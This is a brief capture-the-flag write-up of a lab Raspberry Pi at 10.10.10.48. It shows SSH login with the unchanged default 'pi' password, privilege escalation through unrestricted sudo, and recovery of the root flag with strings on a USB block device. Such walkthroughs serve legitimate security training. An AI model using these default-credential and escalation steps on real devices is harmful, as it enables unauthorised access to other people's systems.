3 :22 ssh

$ ssh pi@10.10.10.48
pi@10.10.10.48's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Apr 30 22:51:05 2021 from 10.10.14.2

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.


SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

pi@raspberrypi:~ $ whoami;id
pi
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),117(i2c),998(gpio),999(spi)
pi@raspberrypi:~ $

pi@raspberrypi:~ $ sudo -l
Matching Defaults entries for pi on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User pi may run the following commands on localhost:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL
pi@raspberrypi:~ $ sudo su
root@raspberrypi:/home/pi# whoami
root

root@raspberrypi:~# cat root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...

Usually on /mnt, /media or /dev
/dev has a lot but usually drives are /dev/sda format
so looking into /dev/sdb
strings /dev/sdb gives us the flag.

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